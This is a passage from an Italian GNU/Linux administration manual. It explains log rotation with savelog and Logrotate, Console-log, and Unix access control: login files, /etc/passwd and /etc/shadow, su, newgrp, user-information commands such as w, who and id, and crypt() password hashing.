Per esempio, se nel file '`/etc/syslog.conf`' esiste una riga come quella seguente, '**`savelog`**' viene utilizzato giornalmente per salvare il file '`/var/log/registro`':

```
*.*                                /var/log/registro
```

Per la precisione, analizzando lo script '`/etc/cron.daily/sysklogd`' si potrebbe leggere un ciclo come quello seguente:

```
cd /var/log
for LOG in `syslogd-listfiles`
do
   if [ -s $LOG ]; then
      savelog -g adm -m 640 -u root -c 3 $LOG >/dev/null
   fi
done
```

Si può osservare in questo caso che '**`savelog`**' viene avviato con l'opzione '**`-c 3`**', che richiede una rotazione in tre file differenti, generando in pratica i file:

File	Descrizione
'`/var/log/registro`'	file corrente;
'`/var/log/registro.0`'	ultima archiviazione del file (non compressa);
'`/var/log/registro.1.gz`'	penultima archiviazione del file (compressa);
'`/var/log/registro.2.gz`'	terzultima archiviazione del file (compressa).

Come si può intendere, aumentando il valore dell'opzione '**`-c`**' aumenta di conseguenza la quantità di archivi precedenti del file che viene ruotato. In questo caso, volendo eventualmente conservare un anno di file delle registrazioni, nello script '`/etc/cron.daily/sysklogd`' occorrerebbe usare l'opzione '**`-c 365`**' e nello script '`/etc/cron.weekly/sysklogd`' occorrerebbe usare l'opzione '**`-c 53`**'.

18.1.2.2 Logrotate

Logrotate [6] è un sistema di archiviazione dei file delle registrazioni, con un sistema di configurazione che consente l'inclusione e l'eliminazione di file, senza creare troppe complicazioni. Tutto quanto si basa sul programma eseguibile '**logrotate**', a cui si associa un file di configurazione, generalmente '/etc/logrotate.conf', che normalmente incorpora altre porzioni di configurazione contenute nella directory '/etc/logrotate.d/'. Generalmente, il programma '**logrotate**' viene avviato giornalmente dal sistema Cron.

Il file di configurazione ha una struttura abbastanza intuitiva; quello che segue è l'esempio di una distribuzione Debian:

```
# see "man logrotate" for details
# rotate log files weekly
weekly

# keep 4 weeks worth of backlogs
rotate 4

# create new (empty) log files after rotating old ones
create

# uncomment this if you want your log files compressed
#compress

# packages drop log rotation information into this directory
include /etc/logrotate.d

# no packages own wtmp, or btmp -- we'll rotate them here
/var/log/wtmp {
    monthly
    create 0664 root utmp
    rotate 1
}

/var/log/btmp {
    missingok
    monthly
    create 0664 root utmp
    rotate 1
}

# system-specific logs may be configured here
```

Come si può osservare le direttive possono essere generali, oppure inserite all'interno di sezioni, corrispondenti al nome di un file da ruotare periodicamente. Le direttive generali valgono fino a dove non vengono modificate; pertanto diventano direttive predefinite.

Nell'esempio appare inizialmente la direttiva '**weekly**', che richiede una rotazione settimana-

le, quindi, con la direttiva '**`rotate 4`**' viene specificata la quantità di cicli, che in questo caso sono quattro, pari a quattro settimane.

Diventa molto importante la direttiva '**`include /etc/logrotate.d`**', che richiede espressamente l'inclusione di tutti i file contenuti nella directory '`/etc/logrotate.d/`'; file che potrebbero essere simili a quello seguente, riferito alle esigenze di PostgreSQL:

```
/var/log/postgresql/postgres.log {
        daily
        rotate 10
        copytruncate
        delaycompress
        compress
        notifempty
        create 640 postgres postgres
}
```

Generalmente, se la propria distribuzione GNU utilizza Logrotate, è molto probabile che tutto sia già predisposto correttamente; tuttavia, nel caso si intenda conservare le informazioni dei file delle registrazioni per un tempo diverso da quello previsto in modo predefinito da chi ha organizzato i pacchetti applicativi, diventa necessario intervenire nel file di configurazione generale e nelle singole sezioni, soprattutto nei file inclusi. Infatti, come si vede dagli esempi già apparsi, la configurazione generale del periodo di rotazione e della quantità di file conservati viene stabilito in modo generale, ma poi, quasi ogni sezione modifica i tempi e la grandezza del ciclo.

Per approfondire l'uso e la configurazione di Logrotate si può leggere la pagina di manuale *logrotate(8)*.

18.1.3 Console-log

In questo capitolo è già descritto in che modo è possibile inviare i messaggi destinati normalmente ai file delle registrazioni su una o più console di un sistema GNU/Linux, attraverso la configurazione del file '`/etc/syslog.conf`'. Il pacchetto Console-log[7] consente di raggiungere questo risultato in modo più pratico, consentendo di ottenere un testo che può anche essere fatto scorrere sullo schermo.

Il tutto parte da uno script della procedura di inizializzazione del sistema, che potrebbe essere precisamente '`/etc/init.d/console-log`', il quale legge un file di configurazione e si comporta di conseguenza.

Il file di configurazione dovrebbe essere '`/etc/console-log.conf`' e il suo contenuto standard è il seguente:

```
# /etc/console-log.conf -- configuration file for console-log.
# see console-log.conf(5) for details

tty 9
# uncomment next line if you want to chvt to the syslog on startup
#chvt yes
file /var/log/syslog
group adm

tty 8
file /var/log/exim4/mainlog /var/log/exim/mainlog /var/log/mail.log
group adm
```

Intuitivamente si comprende che in questo modo si vuole inviare alla console numero nove una copia del file '`/var/log/syslog`', mentre alla console numero otto si vuole inviare una copia del file '`/var/log/exim4/mainlog`'. In modo simile si può estendere il file di configurazione per includere altri file da visualizzare su altrettante console. Si veda comunque la pagina di manuale *console-log.conf(5)* per la spiegazione dettagliata delle direttive utilizzabili nella configurazione.

Una volta configurato correttamente Console-log e riavviata la sua funzione attraverso lo script relativo della procedura di inizializzazione del sistema, sui terminali predisposti si ottiene la visualizzazione di questi file, ma è sufficiente premere la combinazione [*Ctrl c*] per interrompere la visualizzazione normale e passare al controllo di Less, cosa che consente di scorrere all'indietro e anche orizzontalmente il testo.

Quando si scorre il testo attraverso Less, non si ricevono altri dati dal file originale, pertanto, alla fine è bene ritornare allo stato precedente chiudendo il funzionamento di Less, con la pressione del tasto [*q*].

18.2 Controllo degli accessi

In ogni sistema operativo multiutente c'è la necessità di controllare gli accessi. Nei sistemi Unix un utente che può accedere ha un *account*: letteralmente si tratta di un conto, o in altri termini un «accredito», o meglio ancora una specie di contratto di utenza che gli permette di esistere nel sistema in qualità di «utente logico».

18.2.1 Identità reale o efficace

La gestione delle utenze in un sistema Unix comporta l'associazione ai processi elaborativi di identità virtuali, con le quali è possibile definire dei privilegi, per il controllo dell'uso del sistema operativo. Un processo elaborativo di un sistema Unix dispone almeno di due identità fondamentali: l'utente e il gruppo a cui questo appartiene. Ognuna delle identità fondamentali si distingue in almeno tre possibilità: identità reale, identità salvata e identità efficace.

L'identità reale di un processo elaborativo è quella con cui è stato creato; l'identità efficace è quella che viene considerata per il controllo effettivo dei privilegi di cui il processo dispone; l'identità salvata è quella che il processo aveva prima di acquisire l'identità efficace attuale.

Un processo elaborativo di un sistema Unix, per poter cambiare la propria identità efficace deve utilizzare la chiamata di sistema standard ***setuid()***, con la quale si tiene conto dell'identità reale originale ed eventualmente dell'identità salvata precedentemente.

Ai fini pratici, per l'utente di un sistema Unix che non si interessi della programmazione, è importante sapere qual è l'identità efficace di un processo, tanto che spesso si sottintende questo fatto, quando si fa riferimento a un'identità senza altre specificazioni.

18.2.2 Login, ovvero la procedura di accesso

Il *login*[8] è la procedura di accesso attraverso la quale un utente, registrato precedentemente, viene riconosciuto e gli viene concesso di utilizzare il sistema. Il concetto è simile a quello di una firma di ingresso. Quando un utente conclude la sua attività con il sistema, esegue un *logout*. Il concetto del *logout* è simile a quello di una firma di uscita.

La procedura di accesso è controllata normalmente dal programma '**`login`**', il quale si prende cura di verificare la parola d'ordine fornita, prima di consentire l'ingresso dell'utente. Tuttavia, i programmi '**`login`**' non sono uguali tutti i sistemi Unix e ognuno può essere stato predisposto per una politica differente. A titolo di esempio, un programma '**`login`**' potrebbe accettare l'accesso da parte di utenti per i quali non sia stata definita una parola d'ordine, mentre un altro potrebbe escluderlo. In queste sezioni si affronta il problema in modo superficiale, cercando di fare riferimento alle consuetudini che sembrano consolidate; il lettore deve tenere presente che l'unica documentazione certa sul funzionamento di '**`login`**' è quella fornita assieme al proprio sistema operativo: la pagina di manuale *login(1)*.

18.2.2.1 Utilizzo di «login»

Il programma '**`login`**' permette l'accesso dell'utente al sistema. Di solito non si usa direttamente, anzi, ciò dovrebbe essere impossibile: è compito del programma di gestione del terminale, Getty o simili, di avviarlo dopo aver ottenuto il nominativo-utente.

```
login [utente]
```

Ogni utente registrato nel sistema, cioè ogni utente che (teoricamente) può accedere al sistema, ha una directory personale, o directory *home*, all'interno della quale si trova posizionato al momento dell'accesso. Questa directory contiene dei file riguardanti la configurazione particolare dell'utente a cui appartiene. La directory personale è collocata normalmente in '`/home/`***nome_utente***`/`' e questa, se la shell lo consente, viene abbreviata utilizzando il simbolo tilde ('**`~`**'). La directory personale dell'utente '**`root`**' è speciale e dovrebbe trovarsi in '`/root/`'. Durante un accesso normale da parte di un utente qualunque, compreso '**`root`**', vengono richiesti il nome dell'utente (se non è già stato fornito nella riga di comando) e la parola d'ordine. Quindi vengono visualizzati:

- la data e l'ora dell'ultimo accesso;
- l'avviso della presenza di posta (se esistono messaggi di posta elettronica non ancora letti);
- il messaggio del giorno.

Se si tratta di un utente al quale è associata una parola d'ordine, questa viene richiesta e controllata. Se risulta errata, vengono consentiti un numero limitato di tentativi. Generalmente, gli errori vengono riportati all'interno del registro del sistema. Se l'utente che chiede di accedere non è '**`root`**' e se esiste il file '`/etc/nologin`', ne viene visualizzato il contenuto sullo schermo e non viene consentito l'accesso. Ciò serve per impedire l'accesso al sistema, tipicamente quando si intende chiuderlo. Perché l'accesso possa essere effettuato come utente '**`root`**', occorre che il terminale (TTY) da cui si intende accedere sia elencato all'interno di '`/etc/securetty`'. I tentativi di questo tipo che provengono da terminali non ammessi, vengono annotati all'interno del registro del sistema. Se esiste il file '`~/.hushlogin`', viene eseguito un accesso silenzioso, nel senso che vengono disattivati:

- il controllo per la presenza di messaggi di posta elettronica;
- la visualizzazione della data e dell'ora dell'ultimo accesso effettuato da parte di quell'utente;
- la visualizzazione del messaggio del giorno.

Se esiste il file '`/var/log/lastlog`', viene visualizzata la data e l'ora dell'ultimo accesso e ne viene registrato quello in corso. Al termine della procedura di accesso viene avviata la shell dell'utente. Se all'interno del file '`/etc/passwd`' non è indicata la shell da associare all'utente che accede, viene utilizzato '`/bin/sh`'. Se all'interno del file '`/etc/passwd`' non è indicata la directory personale dell'utente, o se quella indicata non è raggiungibile, viene utilizzata la directory radice ('**`/`**').

Quanto affermato dovrebbe essere sufficiente per capire che la semplice rimozione dell'indicazione della shell o della directory personale da un record del file '`/etc/passwd`', non è sufficiente per impedire l'accesso a un utente.

18.2.2.2 File «/etc/passwd»

Il file '`/etc/passwd`' è un elenco di utenti, parole d'ordine, directory *home* (directory personali nel caso di utenti umani), shell e altre informazioni personali utilizzate da Finger (42.6.3). La struttura dei record (le righe) di questo file è molto semplice:

utente : ***parola_d'ordine_cifrata*** : ***uid*** : ***gid*** : ***dati_personali*** : ***directory_home*** : ***shell***

Segue la descrizione dei campi.

1. ***utente***

   È il nome utilizzato per identificare l'utente logico che accede al sistema.

2. ***parola_d'ordine_cifrata***

   È la parola d'ordine cifrata. In condizioni normali, se questa indicazione manca, l'utente può accedere senza indicare alcuna parola d'ordine.

Se questo campo contiene un asterisco ('`*`') l'utente non può accedere al sistema. Con questa tecnica è possibile impedire temporaneamente l'accesso, con la possibilità di ripristinarlo successivamente con la stessa parola d'ordine, togliendo semplicemente l'asterisco.

3. ***uid***

   È il numero identificativo dell'utente (*User ID*).

4. ***gid***

   È il numero identificativo del gruppo a cui appartiene l'utente (*Group ID*).

5. ***dati_personali***

   Di solito, questo campo contiene solo l'indicazione del nominativo completo dell'utente (nome e cognome), ma può contenere anche altre informazioni che di solito sono inserite attraverso '**`chfn`**' (18.4.6).

6. ***directory_home***

   La directory assegnata all'utente.

7. ***shell***

   La shell assegnata all'utente.

Segue la descrizione di alcuni esempi.

- ```
  tizio:724AD9dGbG25k:502:502:Tizio Tizi,,,,:/home/tizio:/bin/bash
  ```

  L'utente '**`tizio`**' corrisponde al numero UID 502 e al numero GID 502; si chiama Tizio Tizi; la sua directory personale è '`/home/tizio/`'; la sua shell è '`/bin/bash`'. Di questo utente, personalmente, non si conosce niente altro che il nome e il cognome. Il fatto che UID e GID corrispondano dipende da una scelta organizzativa dell'amministratore del sistema.

- ```
  tizio:*:502:502:Tizio Tizi,,,,:/home/tizio:/bin/bash
  ```

  Questo esempio mostra una situazione simile a quella precedente, ma l'utente '**`tizio`**' non può accedere, perché al posto della parola d'ordine cifrata appare un asterisco.

18.2.2.3 File «/etc/group»

È l'elenco dei gruppi di utenti. La struttura delle righe di questo file è molto semplice.

gruppo : ***parola_d'ordine_cifrata*** : ***gid*** : ***lista_di_utenti***

Segue la descrizione dei campi.

1. ***gruppo***

   È il nome utilizzato per identificare il gruppo.

2. ***parola_d'ordine_cifrata***

   È la parola d'ordine cifrata. Di solito non viene utilizzata e di conseguenza non viene inserita. Se è presente una parola d'ordine, questa dovrebbe essere richiesta quando un utente tenta di cambiare gruppo attraverso '**`newgrp`**' (18.2.3.2).

3. ***gid***

   È il numero identificativo del gruppo.

4. ***lista_di_utenti***

   È la lista degli utenti che appartengono al gruppo, anche se questo non risulta dal file '`/etc/passwd`'. Si tratta di un elenco di nomi di utente separati da virgole.

Segue la descrizione di alcuni esempi.

- ```
  tizio::502:
  ```

  Si tratta di un caso molto semplice in cui il gruppo '**`tizio`**' non ha alcuna parola d'ordine e a esso non appartiene alcun utente aggiuntivo, oltre a quanto già specificato nel file '`/etc/passwd`'.

- ```
  users::100:tizio,caio,sempronio
  ```

  In questo caso, gli utenti '**`tizio`**', '**`caio`**' e '**`sempronio`**' appartengono al gruppo '**`users`**'.

18.2.2.4 File «/etc/shadow»

Il file '`/etc/shadow`' appare in quei sistemi in cui è attivata la gestione delle parole d'ordine oscurate (*shadow password*). Serve a contenere le parole d'ordine cifrate, togliendole dal file '`/etc/passwd`'. Così facendo, è possibile inibire la maggior parte dei permessi di accesso a questo file ('`/etc/shadow`'), proteggendo le parole d'ordine che contiene. Al contrario, non è possibile impedire l'accesso in lettura del file '`/etc/passwd`' che fornisce una quantità di informazioni sugli utenti, indispensabili a molti programmi. Il problema è descritto nella sezione 18.8.

18.2.2.5 File «/var/run/utmp»

Il file '`/var/run/utmp`' contiene l'elenco degli accessi in essere nel sistema. Non è un file di testo normale e per l'estrazione delle informazioni in esso contenute si usano dei programmi di servizio appositi. Tuttavia, è possibile che gli utenti presenti effettivamente nel sistema siano in numero maggiore, a causa del fatto che non tutti i programmi usano il metodo di registrazione fornito attraverso questo file.

Se il file non esiste, conviene crearlo manualmente in uno dei due modi seguenti:

`#` **`cp /dev/null /var/run/utmp`** [*Invio*]

`#` **`touch /var/run/utmp`** [*Invio*]

Solitamente, è la procedura di inizializzazione del sistema a prendersi cura di questo file, azzerandolo o ricreandolo, a seconda della necessità.

18.2.2.6 File «/var/log/wtmp»

Il file '`/var/log/wtmp`' ha una struttura analoga a quella di '`/var/run/utmp`' e serve per conservare la registrazione degli accessi e della loro conclusione (*login-logout*). Questo file non viene creato automaticamente; se manca, la conservazione delle registrazioni all'interno del sistema non viene effettuata. Viene aggiornato da Init e anche dal programma che si occupa di gestire la procedura di accesso al sistema ('**`login`**').

Il formato di questo file non è quello di un file di testo normale, quindi non è leggibile o stampabile direttamente.

Se questo file non esiste, conviene crearlo manualmente in uno dei due modi seguenti:

cp /dev/null /var/log/wtmp [*Invio*]

touch /var/log/wtmp [*Invio*]

18.2.2.7 File «/etc/motd»

Il contenuto del file '`/etc/motd`' viene visualizzato da '**`login`**' al termine della procedura di accesso, prima dell'avvio della shell associata all'utente. Questo file contiene, o dovrebbe contenere, il cosiddetto messaggio del giorno (*Message of the day*).

18.2.2.8 File «/etc/nologin»

Se esiste il file '`/etc/nologin`', '**`login`**' non accetta nuovi accessi al sistema, visualizzando il suo contenuto a ogni tentativo.

Se si desidera fermare il sistema è possibile creare questo file scrivendoci all'interno il motivo, o una breve spiegazione di ciò che sta avvenendo.

18.2.2.9 File «/etc/securetty»

Il file '`/etc/securetty`' contiene l'elenco dei ***terminali sicuri***, cioè di quelli da cui si permette l'accesso all'utente '**`root`**'. I nomi dei terminali vengono indicati facendo riferimento ai file di dispositivo relativi, senza l'indicazione del prefisso '`/dev/`'. L'esempio seguente mostra un elenco di terminali che comprende la console vera e propria, le sei console virtuali standard, quattro terminali seriali e quattro pseudo-terminali che accedono dalla rete locale oppure dal sistema grafico X.

```
console
tty1
tty2
tty3
tty4
tty5
tty6
ttyS0
ttyS1
ttyS2
ttyS3
ttyp0
ttyp1
ttyp2
ttyp3
```

A seconda di come è organizzato il sistema di file di dispositivo, può essere necessario modificare di conseguenza questo file.

18.2.2.10 Casella di posta elettronica

Il file il cui percorso si trova contenuto nella variabile di ambiente ***MAIL*** (a volte corrisponde a '`/var/mail/`***nome_utente***', altre volte a '`/var/spool/mail/`***nome_utente***', oppure anche a un file contenuto nella directory personale dell'utente stesso), viene usato normalmente per accumulare i messaggi di posta elettronica a lui diretti.

Il programma '**`login`**', dopo la visualizzazione del messaggio contenuto in '`/etc/motd`', se trova che c'è posta per l'utente, visualizza un messaggio di avvertimento in tal senso.

> La collocazione dei file che rappresentano le caselle postali degli utenti, dipende dalla configurazione e dalla filosofia del sistema di gestione della posta elettronica. Sulla base di tale configurazione, i processi devono ottenere una variabile di ambiente ***MAIL*** con il valore necessario a raggiungere la casella della posta in ingresso.

18.2.2.11 File «~/.hushlogin»

Se esiste il file '`.hushlogin`' all'interno della directory personale di un certo utente, quando quell'utente accede, '**`login`**' non visualizza alcun messaggio introduttivo.

18.2.2.12 File «/var/log/lastlog»

Il file '`/var/log/lastlog`', se esiste, viene utilizzato da '**`login`**' per registrare gli ultimi accessi al sistema e per poter visualizzare la data e l'ora dell'ultimo accesso. Se questo file non esiste, conviene crearlo manualmente in uno dei due modi seguenti:

`cp /dev/null /var/log/lastlog` [*Invio*]

`touch /var/log/lastlog` [*Invio*]

18.2.3 Cambiamento di identità

Alcuni programmi consentono di ottenere i privilegi di un altro utente, come se si ripetesse la procedura di accesso. Questa possibilità rappresenta generalmente un problema di sicurezza. Per mezzo di questi programmi può capitare di riuscire a ottenere i privilegi dell'utente '**`root`**' anche quando si accede da un terminale che non viene considerato sicuro, pertanto non risulta incluso nell'elenco di '`/etc/securetty`'.

18.2.3.1 Utilizzo di «su»

Il programma '**`su`**'[9] permette a un utente di diventare temporaneamente un altro, avviando una shell con i privilegi dell'utente indicato (questo vale anche per il gruppo o i gruppi a cui questo appartiene). Se non viene indicato un utente, '**`su`**' sottintende '**`root`**'. Prima di attivare la nuova shell, viene richiesta la parola d'ordine associata all'utente selezionato, a meno che '**`su`**' sia stato eseguito da chi sta già operando in qualità di utente '**`root`**'.

su [*opzioni*] [*utente*]

L'opzione più importante di '**`su`**' è data dal trattino singolo ('**`-`**'), con il quale si fa in modo che la nuova shell venga avviata come shell di *login*. In questo modo, si ha di fronte l'ambiente normale dell'utente che si va a impersonare, come se si facesse un accesso standard.

Per terminare l'attività in veste di questo nuovo utente, basta concludere l'esecuzione della shell con il comando '**`exit`**'. Segue la descrizione di alcuni esempi.

- $ **`su`** [*Invio*]

  Utilizzando '**`su`**' senza argomenti, si intende implicitamente di voler acquisire i privilegi dell'utente '**`root`**'. Per questo viene richiesta la parola d'ordine.

- $ **`su caio`** [*Invio*]

  Volendo trasformarsi temporaneamente in un altro utente, basta indicarlo come argomento, come in questo caso. Viene richiesta la parola d'ordine.

- # **`su tizio`** [*Invio*]

  L'utente '**`root`**' può sempre fare quello che vuole; pertanto, se seleziona un altro utente perde dei privilegi, così non gli viene richiesta alcuna parola d'ordine.

- $ **`su - caio`** [*Invio*]

  Si acquista la personalità dell'utente '**`caio`**', con tutto l'ambiente normale, senza semplificazioni.

Il programma '**`su`**', per poter svolgere il suo compito, deve appartenere all'utente '**`root`**' e avere il bit SUID attivato (SUID-root). È in questo modo che un utente comune riesce a ottenere i privilegi di '**`root`**' o di un altro utente.

$ **`ls -l /bin/su`** [*Invio*]

```
-rwsr-xr-x 1 root root 27908 2009-05-22 17:03 /bin/su
```

Il programma '**su**' viene usato frequentemente dall'utente '**root**', o da un processo che ha già i privilegi dell'utente '**root**', per diventare temporaneamente un utente comune. In tal caso, dal momento che il processo che avvia '**su**' ha già i privilegi di '**root**', non c'è alcuna necessità della presenza del bit SUID attivo.

In generale, dal momento che '**su**' è molto importante per agevolare il lavoro dell'amministratore del sistema, se si temono problemi alla sicurezza, si può eliminare il bit SUID, per concedere praticamente il suo utilizzo solo all'utente '**root**':

chmod u-s /bin/su [*Invio*]

Volendo calcare la mano, si possono togliere anche tutti i permessi per il gruppo proprietario e per gli altri utenti:

chmod go-rwx /bin/su [*Invio*]

Se si toglie la funzione SUID-root all'eseguibile '**su**', si impedisce agli utenti comuni di elevarsi al livello di utente '**root**'. Questo fatto implica che, a meno di disporre di altri programmi che compiano funzioni simili, l'utente '**root**' può accedere solo nel modo «normale», pertanto si va così a confermare il rispetto del file '`/etc/securetty`' che altrimenti potrebbe essere raggirato. Tuttavia, è perfettamente ammissibile la presenza di un file '`/etc/securetty`' limitato, assieme a un programma '**su**' con i permessi SUID-root, quando si vuole consentire un accesso solo a chi dispone di un'utenza normale, lasciando salva poi la possibilità di dimostrare di essere anche l'amministratore.

Fino a questo punto è stato mostrato l'utilizzo di '**su**' per avviare una shell interattiva, ma in generale questo programma può essere usato per avviare un certo processo elaborativo, al termine del quale si vuole che tutto ritorni come prima. In tal caso la sintassi va modificata come segue:

su [*opzioni*] [*utente* [*argomenti*]]

In pratica, gli argomenti che appaiono alla fine della riga di comando sono ciò che si vuole avviare. Tuttavia, **si creano spesso delle complicazioni nel modo corretto di interpretare tali argomenti.** Si vedano gli esempi seguenti, che in teoria dovrebbero produrre lo stesso effetto:

1. # **su tizio ls -l** [*Invio*]
2. # **su tizio "ls -l"** [*Invio*]
3. # **su -c "ls -l" tizio** [*Invio*]

In pratica, si vuole che il comando '**ls -l**' venga eseguito con i privilegi dell'utente '**tizio**', quando originariamente si hanno quelli dell'amministratore. Delle tre forme, è sicuro il funzionamento solo dell'ultima, dove ci si affida all'opzione '**-c**' e di conseguenza il comando da eseguire è passato in forma di stringa. Naturalmente, sarebbe ammissibile scrivere quel comando anche nel modo seguente:

su tizio -c "ls -l" [*Invio*]

Inoltre, l'uso di questa forma, consente di scrivere comandi più complessi, come nell'esempio seguente:

```
# su tizio -c "cd ; ls -l | less" [Invio]
```

18.2.3.2 Utilizzo di «newgrp»

Il programma '**newgrp**'[10] permette di cambiare il gruppo a cui appartiene l'utente. L'utente non cambia, la directory personale nemmeno, cambia solo il GID. Un utente può cambiare gruppo se nel file '/etc/group' sono diversi i gruppi a cui può appartenere l'utente. In alternativa, se il gruppo ha una parola d'ordine, l'utente può «entrare» nel gruppo solo se la conosce.

```
newgrp [gruppo]
```

Il problema della gestione dei gruppi, specialmente per ciò che riguarda le parole d'ordine, è descritto meglio nella sezione 18.8.

18.2.4 Informazioni sugli accessi

Molti programmi permettono di avere informazioni sugli accessi e di conseguenza anche sugli utenti. In particolare sono importanti quelli che permettono di leggere il contenuto dei file '/var/run/utmp' e '/var/log/wtmp' il cui formato non è leggibile attraverso l'uso di un semplice '**cat**' (sezione 18.10).

18.2.4.1 Utilizzo di «users»

Il programma '**users**' [11] visualizza i nomi degli utenti che accedono attualmente all'elaboratore. Se un utente ha attivato più sessioni in corso, il suo nome appare più volte nell'elenco. Se il comando viene avviato senza l'indicazione di un file, i dati visualizzati vengono estratti da '/etc/utmp'. Esiste comunque la possibilità di visualizzare attraverso '**users**' il contenuto di '/etc/wtmp'.

```
users [file]
```

18.2.4.2 Utilizzo di «w»

Il programma '**w**'[12] visualizza i nomi degli utenti che accedono attualmente e varie informazioni sulla loro attività; in particolare l'uso della CPU:

```
w [opzioni] [utente]
```

Attraverso le opzioni è possibile controllare in qualche modo le informazioni che vengono visualizzate, mentre se si indica il nome di un utente alla fine della riga di comando, si ottengono

informazioni solo su quello. L'esempio seguente mostra cosa si può ottenere con '**w**' usato senza argomenti:

$ **w** [*Invio*]

```
 16:50:46 up 15 min,  5 users,  load average: 0,12, 0,14, 0,20
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
tizio    tty1     -                16:37   10:53   6.88s  6.75s /usr/bin/mc ↩
↪-P /tmp/mc4818-2783
tizio    tty5     -                16:50   23.00s  1.17s  0.12s -sh
tizio    tty6     -                16:38   40.00s  0.28s  0.12s ssh ↩
↪root@172.21.1.1
root     pts/2    172.21.1.2       16:46   45.00s  0.07s  0.07s -bash
tizio    pts/3    :0.0             16:50    0.00s  0.07s  0.01s w
```

Come si può osservare, la prima riga che si ottiene è equivalente a quanto genera il programma '**uptime**', descritto nella sezione 10.3.

Le colonne identificate dalle sigle '**JCPU**' e '**PCPU**' indicano il tempo di utilizzo della CPU; nel primo caso si tratta di tutti i processi, ancora attivi, anche se sullo sfondo, mentre nel secondo si tratta esclusivamente del tempo utilizzato dal processo indicato nella colonna finale ('**WHAT**'). La colonna '**IDLE**' indica il tempo di funzionamento complessivo, anche se inattivo, del processo indicato nella colonna '**WHAT**'.[13]

Per l'uso delle opzioni che qui non vengono descritte, si veda la pagina di manuale *w(1)*.

18.2.4.3 Utilizzo di «who»

Il programma '**who**'[14] visualizza i nomi degli utenti che accedono attualmente e varie informazioni sulla loro attività. '**who**' trae normalmente le sue informazioni dal file '/etc/utmp', se non ne viene indicato un altro negli argomenti (per esempio '/etc/wtmp').

who [*opzioni*] [*file*] [am i]

Si veda il documento *info who*, oppure la pagina di manuale *who(1)*.

18.2.4.4 Utilizzo di «pinky»

Il programma '**pinky**'[15] visualizza l'elenco degli utenti che utilizzano l'elaboratore, oppure visualizza informazioni dettagliate su utenti particolari. Il suo funzionamento è simile a quello di Finger (42.6.3):

pinky [*opzioni*] [*utente*]...

Attraverso le opzioni si può controllare la quantità di informazioni che si vogliono ottenere.

Tabella 18.25. Alcune opzioni.

Opzione	Descrizione
`-s`	Produce un formato sintetico; questa modalità è predefinita.
`-l`	Questa opzione richiede l'indicazione di almeno un utente e serve a produrre informazioni dettagliate.

Segue la descrizione di alcuni esempi.

- `$ pinky` [*Invio*]

```
Login    Name                TTY      Idle   When         Where
tizio                        pts/125         Sep 21 10:23 host192-116:S.0
tizio                        pts/126         Sep 21 10:23 host192-116:S.1
```

  Mostra l'elenco degli utenti che utilizzano il sistema.

- `$ pinky -l tizio` [*Invio*]

```
Login name: tizio                       In real life:  Tizio Tizi
Directory: /home/tizio                  Shell:  /bin/sh
```

  Mostra le informazioni disponibili sull'utente '**tizio**'.

Si veda eventualmente la pagina di manuale *pinky(1)*.

18.2.4.5 Utilizzo di «whoami»

Il programma '**whoami**' [16] visualizza il nome dell'utente associato con l'attuale UID efficace. È equivalente a '**id -un**'.

```
whoami
```

Il nominativo-utente associato al numero UID efficace è in pratica l'identità con cui si sta lavorando. Per esempio, dopo l'utilizzo di '**su**' per diventare utenti '**caio**', il programma '**whoami**' restituisce esattamente il nome '**caio**'.

18.2.4.6 Utilizzo di «logname»

Il programma '**logname**'[17] emette il nome dell'utente, così come appare dal file '/var/run/utmp'.

```
logname
```

A titolo di esempio si può immaginare la situazione in cui l'utente '**tizio**' sia riuscito a ottenere i privilegi dell'utente '**root**' attraverso l'uso di '**su**'.

`tizio$ su root` [*Invio*]

`Password: *******` [*Invio*]

Quello che si dovrebbe ottenere con '**`logname`**' è il nome dell'utente che è stato usato per accedere inizialmente al sistema.

`root#` **`logname`** [*Invio*]

```
tizio
```

18.2.4.7 Utilizzo di «groups»

Il programma '**`groups`**'[18] visualizza i gruppi ai quali l'utente o gli utenti appartengono.

`groups` [*utente*...]

Il risultato è equivalente al comando seguente:

`id -Gn` [*nome_utente*]

18.2.4.8 Utilizzo di «id»

Il programma '**`id`**' visualizza il numero UID (*User ID*) e il numero GID (*Group ID*) reale ed efficace dell'utente selezionato o di quello corrente.[19]

`id` [*opzioni*] [*utente*]

Tabella 18.29. Alcune opzioni.

Opzione	Descrizione
`-u` `--user`	Emette solo il numero dell'utente (UID).
`-g` `--group`	Emette solo il numero del gruppo (GID).
`-G` `--groups`	Emette solo i numeri dei gruppi supplementari.
`-n` `--name`	Emette il nome dell'utente, del gruppo o dei gruppi, a seconda che sia usato insieme a '**`-u`**', '**`-g`**' o '**`-G`**'.
`-r` `--real`	Emette i numeri UID o GID reali invece di quelli efficaci (ammesso che ci sia differenza). Si usa insieme a '**`-u`**', '**`-g`**' o '**`-G`**'.

Usato senza argomenti, '**id**' fornisce l'identità dell'utente, il gruppo standard e l'elenco dei gruppi a cui l'utente è aggregato, come si vede dall'esempio seguente:

```
$ id [Invio]
```

```
uid=1001(tizio) gid=1001(tizio) gruppi=1001(tizio),6(disk),7(lp),↩
↪24(cdrom),25(floppy),29(audio)
```

Le opzioni servono in pratica a limitare le informazioni che si desiderano avere; eventualmente si può consultare il documento *info id*, oppure la pagina di manuale *id(1)* per maggiori dettagli su questo programma.

18.3 Parole d'ordine cifrate

In questo documento si accenna più volte al fatto che le parole d'ordine utilizzate per accedere vengono annotate in forma cifrata, nel file '`/etc/passwd`', oppure nel file '`/etc/shadow`'.

La cifratura genera una stringa che può essere usata per verificare la correttezza della parola d'ordine, mentre da sola, questa stringa non permette di determinare quale sia la parola d'ordine di origine. In pratica, data la parola d'ordine si può determinare la stringa cifrata, ma dalla stringa cifrata non si ottiene la parola d'ordine.

La verifica dell'identità avviene quindi attraverso la generazione della stringa cifrata corrispondente: se corrisponde a quanto annotato nel file '`/etc/passwd`', oppure nel file '`/etc/shadow`', la parola d'ordine è valida, altrimenti no.

18.3.1 Funzione «crypt()»

L'algoritmo usato per generare la parola d'ordine cifrata non è uguale in tutti i sistemi. Per quanto riguarda i sistemi GNU si distinguono due possibilità: l'algoritmo tradizionale DES, il quale accetta parole d'ordine con un massimo di **otto caratteri**, e l'algoritmo MD5, con cui non si pongono limitazioni.

La gestione dell'algoritmo di cifratura delle parole d'ordine è a carico della funzione ***crypt()*** (descritta in *crypt(3)*). Nelle distribuzioni GNU in cui si può usare l'algoritmo MD5 dovrebbe essere possibile scegliere questo, o l'algoritmo precedente, attraverso un file di configurazione ('`/etc/login.defs`', descritto nella sezione ??capitolo shadow??).

